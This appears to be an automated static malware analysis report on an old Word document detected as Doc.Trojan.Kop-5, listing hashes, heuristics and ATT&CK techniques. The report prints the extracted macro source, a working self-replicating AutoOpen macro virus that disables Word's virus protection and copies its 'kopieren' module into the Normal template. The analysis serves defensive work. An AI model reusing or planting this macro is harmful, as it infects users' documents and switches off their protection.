Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e5fca06edbb61ee…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-07-05 12:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7a120f7449b6933dae946774e552ee4a SHA-1: cd0be64ef6991a34f6a00226881b6591da12498c SHA-256: 4e5fca06edbb61eedb53a1873001df04c23022160a75b7e124980b65f941e234
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro, which is a known indicator of older malicious Office documents. The macro attempts to export and import a component named 'kopieren', potentially to establish persistence or execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Kop-5' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Kop-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kop-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 820 bytes
SHA-256: 57bc62222cb0d05f9ac3c9c48f5adb92c8837e4f23341f33ead5b802fd9b3f1e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "kopieren"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Set norm = NormalTemplate.VBProject
Set activ = ActiveDocument.VBProject
If NormalTemplate.VBProject.VBComponents.Item("kopieren").Name <> "kopieren" Then
activ.VBComponents("kopieren").Export "c:\kopieren.vxd"
norm.VBComponents.Import ("c:\kopieren.vxd")
ElseIf ActiveDocument.VBProject.VBComponents.Item("kopieren").Name <> "kopieren" Then
norm.VBComponents("kopieren").Export "c:\kopieren.vxd"
activ.VBComponents.Import ("c:\kopieren.vxd")
End If
End Sub